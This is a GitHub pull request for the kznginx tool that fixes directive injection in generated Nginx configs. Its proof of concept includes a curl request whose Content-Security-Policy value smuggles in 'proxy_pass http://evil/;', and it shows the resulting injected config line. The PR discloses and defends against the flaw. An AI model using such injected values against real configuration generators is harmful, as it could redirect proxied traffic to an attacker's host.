Skip to content

fix(nginx): reject quote/newline injection in directive values - #6

Open
Nouments wants to merge 2 commits into
karozadev:mainfrom
Nouments:fix/directive-injection-validation
Open

Nouments wants to merge 2 commits into
karozadev:mainfrom
Nouments:fix/directive-injection-validation

Conversation

@Nouments

@Nouments Nouments commented Aug 19, 2026 •

Copy link
Copy Markdown

Problem

The rendering templates (internal/nginx/templates/*.tmpl) use text/template
and insert user-supplied free-text fields (CSP, ServerNames, Root, AccessLog,
SSL fields, ProxySetHeaders, ...) directly into Nginx directives, without any
escaping.

A double quote (") in one of these fields can close the string early and
inject an arbitrary Nginx directive into the server block.

Proof of Concept

Request via the Web UI's /api/generate endpoint:

​bash curl -X POST http://localhost:8000/api/generate \ -H "Content-Type: application/json" \ -d '{"servers":[{"serverNames":["example.com"],"securityHeaders":{"contentSecurityPolicy":"default-src '\''self'\''\"; proxy_pass http://evil/; #"}}]}' ​

Before this fix (200 OK), the generated config contains:

​nginx add_header Content-Security-Policy "default-src 'self'"; proxy_pass http://evil/; #" always; ​

The quote closes the CSP string early, and proxy_pass http://evil/;
becomes an active Nginx directive inside the server block — the #
comments out the rest of the line, so the config remains syntactically
valid.

After this fix (400 Bad Request):

​json {"error":"invalid config: server[0]: securityHeaders.contentSecurityPolicy: value must not contain quotes or newlines"} ​

Fix

Adds validation in internal/nginx/validate.go that rejects any free-text
field containing ", \n, or \r before rendering (Config.Validate(),
called by nginx.Render()).

Fields intentionally meant to hold raw Nginx syntax (CustomDirectives,
ProxyPass, rate-limit zone references) are deliberately excluded from
this check: they are documented as an intentional escape hatch for
arbitrary directives.

Tests

  • 6 new test cases added in validate_test.go covering injection via
    Upstream.Address, SecurityHeaders.ContentSecurityPolicy,
    ServerNames, AccessLog, ProxySetHeaders.
  • All existing tests pass with no regressions
    (go test ./internal/nginx/... -v, go test ./...).
  • Manually verified via the Web UI (kznginx ui) using the PoC above.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant